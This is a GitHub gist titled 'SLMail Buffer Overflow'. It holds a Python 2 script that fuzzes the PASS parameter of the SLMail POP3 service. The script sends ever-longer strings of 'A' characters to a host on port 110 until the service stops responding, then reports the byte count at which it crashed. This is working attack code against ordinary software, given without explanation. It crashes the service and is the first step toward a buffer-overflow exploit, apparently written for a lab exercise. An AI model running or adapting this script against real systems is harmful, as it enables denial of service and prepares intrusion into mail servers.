Last active
May 23, 2019 19:00
-
-
Save loopspell/633a28b01252e81f7aecbe7352832cfc to your computer and use it in GitHub Desktop.
SLMail Buffer Overflow
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket | |
# Script for Fuzzing SLMail POP3 Service's PASS Parameter | |
counter = 100 | |
while counter <= 3500: | |
try: | |
buffer = "A" * counter | |
print "Fuzzing PASS with %s bytes" % len(buffer) | |
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.settimeout(30) | |
connect=s.connect(('192.168.1.200',110)) | |
s.recv(1024) | |
s.send('USER test\r\n') | |
s.recv(1024) | |
s.send('PASS ' + buffer + '\r\n') | |
s.send('QUIT\r\n') | |
s.close() | |
counter = counter + 200 | |
except socket.timeout: | |
print "\nCrash Byte of PASS Parameter: %s" % (len(buffer)-200) | |
exit(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment